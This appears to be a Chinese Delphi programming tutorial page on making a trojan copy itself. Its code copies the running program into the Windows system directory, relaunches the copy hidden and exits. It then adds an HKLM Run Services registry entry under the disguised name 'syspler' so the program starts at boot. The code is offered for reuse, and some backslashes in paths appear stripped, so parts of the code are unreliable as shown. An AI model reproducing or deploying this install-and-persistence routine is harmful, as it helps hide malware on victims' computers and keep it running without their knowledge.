Delphi实现木马自我拷贝方法

 更新时间:2014年07月25日 11:45:33   投稿:shichen2014  
这篇文章主要介绍了Delphi实现木马自我拷贝方法,对于研究木马的运行原理很有帮助,需要的朋友可以参考下

木马实现自我拷贝的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,继而退出旧程序.
本例即以Delphi实现木马的自我拷贝。
首先打开Delphi,新建一个工程,在窗口的Create事件中写入如下代码:

procedure TForm1.FormCreate(Sender: TObject);
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //获得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷贝到WindowsSystem下}
Winexec(pchar(GetWindir + myname), sw_hide);//运行WindowsSystem下的新文件
application.Terminate;//退出
end;
end;

其中GetWinDir是自定义函数,起功能是找出WindowsSystem的路径.

function GetWinDir: String;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>'' then Result := Result + '';
end; 

如何能使程序能在windows启动时自动启动?
 
为了程序能在Windows每次启动时自动运行,可以通过以下途径来实现.“冰河”用注册表的方式。
加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:

procedure TForm1.FormCreate(Sender: TObject);
const K = 'SoftwareMicrosoftWindowsCurrentVersionRunServices';
var myname: string;
begin
myname := ExtractFilename(Application.Exename); //获得文件名
if application.Exename <> GetWindir + myname then //如果文件不是在WindowsSystem那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己拷贝到Windows/System32下}
Winexec(pchar(GetWindir + myname), sw_hide);//运行WindowsSystem下的新文件
application.Terminate;//退出
end;
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( K, TRUE );
WriteString( 'syspler', application.ExeName );
finally
free;
end;
end; 

相关文章

  • Delphi 在窗体上创建自己光标的实例

    Delphi 在窗体上创建自己光标的实例

    这篇文章主要介绍了Delphi 在窗体上创建自己光标的实例的相关资料,希望通过本文能帮助到大家,需要的朋友可以参考下
    2017-09-09
  • delphi 正弦曲线图

    delphi 正弦曲线图

     在Delphi中没有直接正弦曲线的函数。但是在科学研究中,正弦曲线的应用是非常广泛的,本实例介绍如何绘制正弦曲线。
    2008-03-03
  • c# 多线程编程 入门篇

    c# 多线程编程 入门篇

    多线程应该是编程工作者的基础技能, 但这个基础对我来讲的确有点难(起码昨天以前是这样).
    2009-04-04
  • Delphi 常见文件处理及注册表文件的使用实例

    Delphi 常见文件处理及注册表文件的使用实例

    这篇文章主要介绍了Delphi 常见文件处理及注册表文件的使用实例的相关资料,希望通过本文能帮助到大家,需要的朋友可以参考下
    2017-09-09
  • delphi实现保存和读取图片的方法

    delphi实现保存和读取图片的方法

    这篇文章主要介绍了delphi实现保存和读取图片的方法,主要包括了显示图片、保存图片和读取图片的实现方法,是非常实用的技巧,需要的朋友可以参考下
    2014-09-09
  • Delphi7中群发Email邮件的方法

    Delphi7中群发Email邮件的方法

    这篇文章主要介绍了Delphi7中群发Email邮件的方法,涉及邮件服务器软件的使用,电子邮件的判断与发送功能的实现,是非常实用的技巧,需要的朋友可以参考下
    2014-12-12
  • Delphi中判断文件是否为文本文件的函数

    Delphi中判断文件是否为文本文件的函数

    在用Delphi 编程处理文本文件的时候,如果要装载的文件比较大,你可能会想在文件装载过程中提供一个装载进度的提示--那么你就必需自己编写直接通过文件打开/读取函数来装载文件内容的函数。
    2008-03-03
  • Delphi实例演示Rect、Bounds生成TRect的区别

    Delphi实例演示Rect、Bounds生成TRect的区别

    这篇文章主要介绍了Delphi实例演示Rect、Bounds生成TRect的区别,需要的朋友可以参考下
    2014-07-07
  • Delphi实现Listbox中的item根据内容显示不同颜色的方法

    Delphi实现Listbox中的item根据内容显示不同颜色的方法

    这篇文章主要介绍了Delphi实现Listbox中的item根据内容显示不同颜色的方法,需要的朋友可以参考下
    2014-07-07
  • Delphi提取PDF文本实例

    Delphi提取PDF文本实例

    下面小编就为大家带来一篇Delphi提取PDF文本实例。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧
    2017-06-06

最新评论